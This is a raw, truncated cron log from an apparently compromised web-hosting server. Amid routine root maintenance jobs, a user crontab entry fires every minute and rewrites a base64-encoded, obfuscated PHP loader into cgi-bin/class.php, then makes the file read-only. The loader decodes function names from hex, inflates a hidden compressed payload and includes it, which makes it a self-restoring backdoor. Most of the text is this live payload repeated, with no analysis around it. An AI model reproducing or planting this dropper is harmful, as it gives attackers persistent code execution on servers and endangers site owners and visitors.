Apr  9 15:51:01 server CROND[23418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:52:01 server CROND[23486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:53:01 server CROND[23571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:54:01 server CROND[23629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:55:01 server CROND[23690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:55:01 server CROND[23691]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 15:55:01 server CROND[23692]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 15:56:01 server CROND[23895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:57:01 server CROND[23955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:57:01 server CROND[23956]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 15:58:01 server CROND[24013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:59:01 server CROND[24088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:00:01 server CROND[24159]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 16:00:01 server CROND[24161]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 16:00:01 server CROND[24162]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 16:00:01 server CROND[24164]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  9 16:00:01 server CROND[24163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:01:01 server CROND[24396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:01:01 server CROND[24397]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 16:01:01 server run-parts(/etc/cron.hourly)[24397]: starting 0anacron
Apr  9 16:01:01 server run-parts(/etc/cron.hourly)[24409]: finished 0anacron
Apr  9 16:02:01 server CROND[24485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:03:01 server CROND[24608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:04:01 server CROND[24691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQ